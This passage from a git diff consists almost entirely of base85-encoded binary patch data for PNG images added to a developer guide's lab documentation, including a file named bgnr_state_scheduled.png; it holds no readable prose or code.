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 literal 0 HcmV?d00001 diff --git a/docs/devguide/labs/img/bgnr_state_scheduled.png b/docs/devguide/labs/img/bgnr_state_scheduled.png new file mode 100644 index 0000000000000000000000000000000000000000..4559b77166dd3eb388953df3aa6d9765584f4275 GIT binary patch literal 25469 zcmcG#by$^c^DYcXcL+#_ba$78l!P?W-MQ#SNs&;xK}l(lX3-%H(%p;h?(bec&whXJ z-rv7_d%)ph-B-@cHP<;a=N+l4EQ^6kj0yt-gCQ>`tp)=Fn*sdpAR_|b_@C(>!N8!7 z+DJ*M%1cR6s=7K^+Spsbz{o`=CL^iF&k+P2KNs?UfPrPq^~}SQP}qUZ^L&pYPnp}D zf-QY8u#Q@efP=$=)}(=;olI@_hDAr`W#acD67%=(XL>$jBt8bq&MxsEgT1XFn*ku# zBSz1oOhIv&mlR2=DX`2iag4ulWo~@O*Vpl^8~R`ni6sz>VM2Qd(1=V-I$*xeT^^s6 zV@as*I}8@_XT%K%FNM zlCPd2)a6tt;GH&pW0PHk>=eQa+a9mW@}3FC9Isn>(6W%)6ry%e5RW%vIu_&n) zENqyx0u0 